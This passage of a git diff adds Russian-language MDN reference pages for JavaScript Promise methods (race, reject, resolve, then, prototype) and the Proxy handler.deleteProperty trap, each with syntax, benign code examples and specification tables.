+<p>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Свойства')}}</p>
+
+<h3 id="Методы_2">Методы</h3>
+
+<p>{{page('ru/docs/Web/JavaScript/Reference/Global_Objects/Promise/prototype','Методы')}}</p>
+
+<h2 id="Создание_промиса">Создание промиса</h2>
+
+<p>Объект <code>Promise</code> создается при помощи ключевого слова <code>new</code> и своего конструктора. Конструктор <code>Promise</code> принимает в качестве аргумента функцию, называемую "исполнитель" (<em>executor function</em>). Эта функция должна принимать две функции-коллбэка в качестве параметров. Первый из них (<code>resolve</code>) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй коллбэк (<code>reject</code>) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.</p>
+
+<pre class="brush: js">const myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // выполняется асинхронная операция, которая в итоге вызовет:
+  //
+  //   resolve(someValue); // успешное завершение
+  // или
+  //   reject("failure reason"); // неудача
+});</pre>
+
+<p>Чтобы снабдить функцию функционалом обещаний, нужно просто вернуть в ней объект <code>Promise</code>:</p>
+
+<pre class="brush: js">function myAsyncFunction(url) {
+  return new Promise((resolve, reject) =&gt; {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () =&gt; resolve(xhr.responseText);
+    xhr.onerror = () =&gt; reject(xhr.statusText);
+    xhr.send();
+  });
+}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_пример">Простой пример</h3>
+
+<pre class="brush: html" style="display: none;">Создать промис!
+</pre>
+
+<pre class="brush: js">let myFirstPromise = new Promise((resolve, reject) =&gt; {
+  // Мы вызываем resolve(...), когда асинхронная операция завершилась успешно, и reject(...), когда она не удалась.
+  // В этом примере мы используем setTimeout(...), чтобы симулировать асинхронный код.
+  // В реальности вы, скорее всего, будете использовать XHR, HTML5 API или что-то подобное.
+  setTimeout(function(){
+    resolve("Success!"); // Ура! Всё прошло хорошо!
+  }, 250);
+});
+
+myFirstPromise.then((successMessage) =&gt; {
+  // successMessage - это что угодно, что мы передали в функцию resolve(...) выше.
+  // Это необязательно строка, но если это всего лишь сообщение об успешном завершении, это наверняка будет она.
+  console.log("Ура! " + successMessage);
+});</pre>
+
+<h3 id="Продвинутый_пример">Продвинутый пример</h3>
+
+<pre class="brush: html" style="display: none;">Создать промис!
+</pre>
+
+<div id="log">
+<pre class="brush: html">&lt;button id="btn"&gt;Создать Promise!&lt;/button&gt;
+&lt;div id="log"&gt;&lt;/div&gt;</pre>
+</div>
+
+<p>Данный небольшой пример показывает механизм работы с <code>Promise</code>. Метод <code>testPromise()</code> вызывается при каждом нажатии на {{HTMLElement("button")}}. При этом создаётся промис, которое успешно выполняется при помощи <code>window.setTimeout</code>, со значением <code>'result'</code> в случайном интервале от 1 до 3-х секунд.</p>
+
+<p>исполнение промиса протоколируется при помощи продолжения <code>p1.then</code>. Это показывает как синхронная часть метода отвязана от асинхронного завершения промиса.</p>
+
+<pre class="brush: js">var promiseCount = 0;
+function testPromise() {
+  var thisPromiseCount = ++promiseCount;
+
+  var log = document.getElementById('log');
+  log.insertAdjacentHTML('beforeend', thisPromiseCount +
+      ') Запуск (запуск синхронного кода)
+');
+
+  // Создаём промис, возвращающее 'result' (по истечении 3-х секунд)
+  var p1 = new Promise(
+    // Функция разрешения позволяет завершить успешно или
+    // отклонить промис
+    function(resolve, reject) {
+      log.insertAdjacentHTML('beforeend', thisPromiseCount +
+          ') Запуск промиса (запуск асинхронного кода)
+');
+      // Это всего лишь пример асинхронности
+      window.setTimeout(
+        function() {
+          // Обещание исполнено!
+          resolve(thisPromiseCount)
+        }, Math.random() * 2000 + 1000);
+    });
+
+  // Указываем, что сделать с исполненным промисм
+  p1.then(
+    // Записываем в протокол
+    function(val) {
+      log.insertAdjacentHTML('beforeend', val +
+          ') Обещание исполнено (асинхронный код завершён)
+');
+    });
+
+  log.insertAdjacentHTML('beforeend', thisPromiseCount +
+      ') Обещание создано (синхронный код завершён)
+');
+}
+</pre>
+
+<pre class="brush:js" style="display: none;">if ("Promise" in window) {
+  btn = document.getElementById("btn");
+   btn.addEventListener("click",testPromise);
+}
+else {
+  log = document.getElementById('log');
+  log.innerHTML = "Live example not available as your browser doesn't support the Promise interface.";
+}
+</pre>
+
+<pre class="brush: js">if ("Promise" in window) {
+  let btn = document.getElementById("btn");
+  btn.addEventListener("click",testPromise);
+} else {
+  log = document.getElementById('log');
+  log.innerHTML = "Демонстрация невозможна, поскольку ваш браузер не поддерживает интерфейс &lt;code&gt;Promise&lt;code&gt;.";
+}</pre>
+
+<p>Данный пример запускается при нажатии на кнопку. Для этого вам необходим браузер, поддерживающий <code>Promise</code>. При последовательных нажатиях на кнопку с коротким интервалом, вы можете увидеть как различные промиса будут исполнены один за другим.</p>
+
+<h3 id="Загрузка_изображения_при_помощи_XHR">Загрузка изображения при помощи XHR</h3>
+
+<p>Другой простой пример использования <code>Promise</code> и <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> для загрузки изображения доступен в репозитории MDN<a href="https://github.com/mdn/js-examples/tree/master/promises-test">promise-test</a> на GitHub. Вы также можете <a href="https://mdn.github.io/js-examples/promises-test/">посмотреть его в действии</a>. Каждый шаг прокомментирован и вы можете подробно исследовать Promise и XHR.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td><a href="https://github.com/domenic/promises-unwrapping">domenic/promises-unwrapping</a></td>
+   <td>Черновик</td>
+   <td>Начало работы над стандартом.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение в стандарте ECMA.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://promisesaplus.com/">Спецификация Promises/A+</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Pattern in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/prototype/index.html b/files/ru/web/javascript/reference/global_objects/promise/prototype/index.html
new file mode 100644
index 0000000000..ebd0f84779
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/prototype/index.html
@@ -0,0 +1,66 @@
+---
+title: Promise.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype
+tags:
+  - JavaScript
+  - Обещание
+  - Свойство
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise
+---
+<div>{{JSRef}}</div>
+
+<p>Cвойство <code><strong>Promise</strong></code><strong><code>.prototype</code></strong> представляет собой прототип конструктора {{jsxref("Promise")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>{{jsxref("Promise")}} обьект наследованный от {{jsxref("Promise.prototype")}}. Вы можете использовать прототип конструктора  чтобы добавлять свойства или методы во все объекты обещаний.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code>Promise.prototype.constructor</code></dt>
+ <dd>Возвращает функцию, которая создала прототип экземпляра. Это функция всех обещаний по умолчанию.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{jsxref("Promise.catch", "Promise.prototype.catch(onRejected)")}}</dt>
+ <dd>Добавляет функцию обратного вызова для обработки отклонения обещания, которая возвращает новое обещание выполненное с переданным значением, если она вызвана, или оригинальное значение resolve, если обещание выполнено.</dd>
+ <dt>{{jsxref("Promise.then", "Promise.prototype.then(onFulfilled, onRejected)")}}</dt>
+ <dd style="margin-bottom: 0.5cm;">Добавляет обработчик выполнения и отклонения обещания, и возвращает новое обещание выполненное со значением вызванного обработчика, или оригинальное значение, если обещание не было обработано (т.е. если соответствующий обработчик onFulfilled или onRejected не является функцией).</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype', 'Promise.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
new file mode 100644
index 0000000000..79b3fba0b0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
@@ -0,0 +1,115 @@
+---
+title: Promise.race()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/race
+tags:
+  - ECMAScript6
+  - Promise
+  - Обещание
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
+---
+<div>{{JSRef}}</div>
+
+<p>Метод<strong> Promise.race(iterable)</strong> возвращает выполненное или отклоненное обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/promise-race.html")}}</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="brush: js"><var>Promise.race(iterable)</var>;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Итерируемый объект, такой как ({{jsxref("Array")}}). Смотри <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Выполненный или отклоненный {{jsxref("Promise")}} в зависимости от результата первого завершенного из переданных в итерируемом объекте обещаний.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>race</code>  возвращает <code>Обещание </code>(<code>Promise</code>) с результатом, первого завершенного из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_Promise.race_–_пример_с_setTimeout">Использование <code>Promise.race</code> – пример с <code>setTimeout</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "один");
+});
+var p2 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "два");
+});
+
+Promise.race([p1, p2]).then(function(value) {
+  console.log(value); // "два"
+  // Оба вернули resolve, однако p2 вернул результат первым
+});
+
+var p3 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 100, "три");
+});
+var p4 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 500, "четыре");
+});
+
+Promise.race([p3, p4]).then(function(value) {
+  console.log(value); // "три"
+  // p3 быстрее, поэтому выведется значение его resolve
+}, function(reason) {
+  // Не вызывается
+});
+
+var p5 = new Promise(function(resolve, reject) {
+    setTimeout(resolve, 500, "пять");
+});
+var p6 = new Promise(function(resolve, reject) {
+    setTimeout(reject, 100, "шесть");
+});
+
+Promise.race([p5, p6]).then(function(value) {
+  // Не вызывается
+}, function(reason) {
+  console.log(reason); // "шесть"
+  // p6 быстрее, выводится его rejects
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение в стандарте ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.race', 'Promise.race')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.race")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
new file mode 100644
index 0000000000..f234d5122f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
@@ -0,0 +1,76 @@
+---
+title: Promise.reject()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/reject
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Promise.reject(reason)</strong></code> возвращает объект <code>Promise, который был отклонен по указанной причине</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Promise.reject(reason)</var>;</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>reason</dt>
+ <dd>Причина по которой <code>Promise</code> был отклонен.</dd>
+ <dt>
+ <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+ <p>Отклоненный с указаной причиной {{jsxref("Promise")}}.</p>
+ </dt>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Promise.reject</code> возвращает <code>Promise</code> который был отклонен. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_статического_метода_Promise.reject()">Использование статического метода Promise.reject()</h3>
+
+<pre class="brush: js">Promise.reject(new Error("провал")).then(function(success) {
+  // не вызывается
+}, function(error) {
+  console.log(error); // печатает "провал" + Stacktrace
+  throw error; // повторно выбрасываем ошибку, вызывая новый reject
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Исходное определение в стандарте ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Promise.reject")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="http://bluebirdjs.com/docs/api/error.html">Выборочный отлов ошибок с использованием библиотеки BlueBird Promise</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
new file mode 100644
index 0000000000..13a8ba9ee9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -0,0 +1,138 @@
+---
+title: Promise.resolve()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Обещание
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>Promise.resolve(value)</strong></code> возвращает {{jsxref("Promise")}} выполненый с переданным значением. Если переданное значение является thenable - обьект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - обьекту, принимая свое состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>Promise.resolve(value)</var>;
+Promise.resolve(promise);
+Promise.resolve(thenable);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>value</dt>
+ <dd>Значение с которым будет выполнено обещание. Может также быть обещанием или обьект подобный обещанию (thenable - обьект имеющий метод then).</dd>
+</dl>
+
+<h3 id="Возращаемое_значение">Возращаемое значение</h3>
+
+<p>Выполненый с переданным значением {{jsxref("Promise")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>Метод Promise.resolve</code> возвращает выполненое обещание (<code>Promise</code>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_Promise.resolve">Использование метода <code>Promise.resolve</code></h3>
+
+<pre class="brush: js">Promise.resolve("Success").then(function(value) {
+  console.log(value); // "Success"
+}, function(value) {
+  // не будет вызвана
+});
+</pre>
+
+<h3 id="Выполнение_с_массивом">Выполнение с массивом</h3>
+
+<pre class="brush: js">var p = Promise.resolve([1,2,3]);
+p.then(function(v) {
+  console.log(v[0]); // 1
+});
+</pre>
+
+<h3 id="Выполнение_с_другим_обещанием_Promise">Выполнение с другим обещанием ( <code>Promise</code>)</h3>
+
+<pre class="brush: js">var original = Promise.resolve(true);
+var cast = Promise.resolve(original);
+cast.then(function(v) {
+  console.log(v); // true
+});
+</pre>
+
+<h3 id="Выполнение_с_thenable_объектом_и_выбрасывание_исключений">Выполнение с thenable объектом и выбрасывание исключений</h3>
+
+<pre class="brush: js">// Выполнение с thenable объектом
+var p1 = Promise.resolve({
+  then: function(onFulfill, onReject) { onFulfill("fulfilled!"); }
+});
+console.log(p1 instanceof Promise) // true
+
+p1.then(function(v) {
+    console.log(v); // "fulfilled!"
+  }, function(e) {
+    // не вызывается
+});
+
+// Thenable объект выбрасывает исключение
+// перед вызовом колбека Promise resolves
+var thenable = { then: function(resolve) {
+  throw new TypeError("Throwing");
+  resolve("Resolving");
+}};
+
+var p2 = Promise.resolve(thenable);
+p2.then(function(v) {
+  // не вызывается
+}, function(e) {
+  console.log(e); // TypeError: Throwing
+});
+
+// Thenable объект выбрасывает исключение
+// после вызова колбека Promise resolves
+var thenable = { then: function(resolve) {
+  resolve("Resolving");
+  throw new TypeError("Throwing");
+}};
+
+var p3 = Promise.resolve(thenable);
+p3.then(function(v) {
+  console.log(v); // "Resolving"
+}, function(e) {
+  // не вызывается
+});
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition in an ECMA standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript/promise","Promise.resolve")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
new file mode 100644
index 0000000000..bf74e41b6c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
@@ -0,0 +1,158 @@
+---
+title: Promise.prototype.then()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/then
+tags:
+  - ECMAScript6
+  - JavaScript
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <code><strong>then()</strong></code> возвращает {{jsxref("Promise")}}. Метод может принимать два аргумента: колбэк-функции для случаев выполнения и отклонения промиса.</p>
+
+<div class="note">
+<p> Если один или оба аргумента отсутсвуют или их значения не функции, то <code>then</code> пропустит их и не выбросит ошибку. Если для <code>Promise</code>, который переходит в состояние <code>выполнен</code> или <code>отклонен</code> вызван метод <code>then</code>, и у данного метода нет нужного обработчика, то в таком случае <code>then</code> просто возвращает промис с состоянием начального <code>Promise</code>, для которого <code>then</code> был вызван.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>p.then(onFulfilled[, onRejected])</var>;
+
+p.then(value =&gt; {
+  // выполнение
+  }, reason =&gt; {
+  // отклонение
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>onFulfilled</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code> выполнен. Эта функция принимает один аргумент, значение с которым промис был выполнен. Если значение onFulfilled не функция, то оно автоматически заменяется на "Identity" функцию (возвращает полученный аргумент)</dd>
+ <dt><code>onRejected</code> {{optional_inline}}</dt>
+ <dd>{{jsxref("Function")}} вызывается, когда <code>Promise</code>  отклонен. Эта функция принимает один аргумент, значение с которым промис был отклонен. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Так как и метод <code>then</code>, и метод {{jsxref("Promise.prototype.catch()")}} возвращают <code>Promise</code>, их можно вызвать цепочкой — эта операция называется <em>соединение</em>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_then">Использование метода <code>then</code></h3>
+
+<pre class="brush: js notranslate">var p1 = new Promise(function(resolve, reject) {
+  resolve("Успех!");
+  // или
+  // reject("Ошибка!");
+});
+
+p1.then(function(value) {
+  console.log(value); // Успех!
+}, function(reason) {
+  console.log(reason); // Ошибка!
+});
+</pre>
+
+<h3 id="Соединение">Соединение</h3>
+
+<p>Так как метод <code>then</code> возвращает <code>Promise</code> (обещание), вы можете объединить несколько вызовов <code>then</code> в цепочку. Значения возвращаемые из onFulfilled или onRejected коллбэков будут автоматически обернуты в обещание.</p>
+
+<pre class="brush: js notranslate">var p2 = new Promise(function(resolve, reject) {
+  resolve(1);
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+  return value + 1;
+}).then(function(value) {
+  console.log(value); // 2
+});
+
+p2.then(function(value) {
+  console.log(value); // 1
+});
+</pre>
+
+<p>Вы также можете соединить одну функцию, имеющую подобную с обещаниями API, с другой функцией.</p>
+
+<pre class="brush: js notranslate">function fetch_current_data() {
+  // API функции fetch() возвращает обещание. Эта функция
+  // имеет аналогичный API, за исключением значения в случае выполнения
+  return fetch("current-data.json").then((response) =&gt; {
+    if (response.headers.get("content-type") != "application/json") {
+      throw new TypeError();
+    }
+    var j = response.json();
+    // можем что-нибудь делать с j
+    return j; // в случае выполнения обещания, значение
+              // передается в fetch_current_data().then()
+  });
+}
+</pre>
+
+<p>Если onFulfilled возвращает обещание, возвращаемое значение может быть выполнено (resolved) / отклонено (rejected) обещанием.</p>
+
+<pre class="brush: js notranslate">function resolveLater(resolve, reject) {
+  setTimeout(function () {
+    resolve(10);
+  }, 1000);
+}
+function rejectLater(resolve, reject) {
+  setTimeout(function () {
+    reject(20);
+  }, 1000);
+}
+
+var p1 = Promise.resolve("foo");
+var p2 = p1.then(function() {
+  // Возвращает обещание, которое будет разрешено значением 10 через 1 секунду
+  return new Promise(resolveLater);
+});
+p2.then(function(v) {
+  console.log("resolved", v);  // "resolved", 10
+}, function(e) {
+  // не вызвано
+  console.log("rejected", e);
+});
+
+var p3 = p1.then(function() {
+// Возвращает обещание, которое будет отброшено значением 20 через 1 секунду
+  return new Promise(rejectLater);
+});
+p3.then(function(v) {
+  // не
+  console.log("resolved", v);
+}, function(e) {
+  console.log("rejected", e); // "rejected", 20
+});</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-promise.prototype.then', 'Promise.prototype.then')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение в стандарте ECMA.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.builtins.Promise.then")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.catch()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html b/files/ru/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html
new file mode 100644
index 0000000000..a796a08e26
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html
@@ -0,0 +1,131 @@
+---
+title: handler.deleteProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty
+tags:
+  - Прокси
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>handler.deleteProperty()</code></strong> является "ловушкой" (функция-перехватчик) для оператора {{jsxref("Operators/delete", "delete")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-deleteproperty.html", "taller")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+  deleteProperty: function(target, property) {
+  }
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Следующие параметры передаются в метод <code>deleteProperty</code>.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Целевой объект.</dd>
+ <dt><code>property</code></dt>
+ <dd>Имя или {{jsxref("Symbol")}} свойства, которое нужно удалить.</dd>
+</dl>
+
+<p><code>this</code> в момент вызова ссылается на объект handler.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Метод <code>deleteProperty</code> должен возвращать {{jsxref("Boolean")}}. Значение <code>true</code>, если свойство было успешно удалено, в противном случае <code>false</code>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code><strong>handler.deleteProperty()</strong></code> является "ловушкой" для оператора {{jsxref("Operators/delete", "delete")}}.</p>
+
+<h3 id="Перехваты">Перехваты</h3>
+
+<p>Данная "ловушка" может перехватывать следующие операции:</p>
+
+<ul>
+ <li>Удаление свойства: <code>delete proxy[foo]</code> and <code>delete proxy.foo</code></li>
+ <li>{{jsxref("Reflect.deleteProperty()")}}</li>
+</ul>
+
+<h3 id="Инварианты">Инварианты</h3>
+
+<p>Если следующие инварианты нарушены, то прокси выдаст ошибку {{jsxref("TypeError")}}:</p>
+
+<ul>
+ <li>Свойство не может быть удалено, если оно неконфигурируемое собственное свойство целевого объекта.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий код перехватывает действие оператора {{jsxref("Operators/delete", "delete")}}.</p>
+
+<pre class="brush: js">var p = new Proxy({}, {
+  deleteProperty: function(target, prop) {
+    if (prop in target){
+      delete target[prop]
+      console.log('property removed: ' + prop)
+      return true
+    }
+    else {
+      console.log('property not found: ' + prop)
+      return false
+    }
+  }
+})
+
+var result
+
+p.a = 10
+console.log('a' in p)  // true
+
+result = delete p.a    // "property removed: a"
+console.log(result)    // true
+console.log('a' in p)  // false
+
+result = delete p.a    // "property not found: a"
+console.log(result)    // false
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}</td>
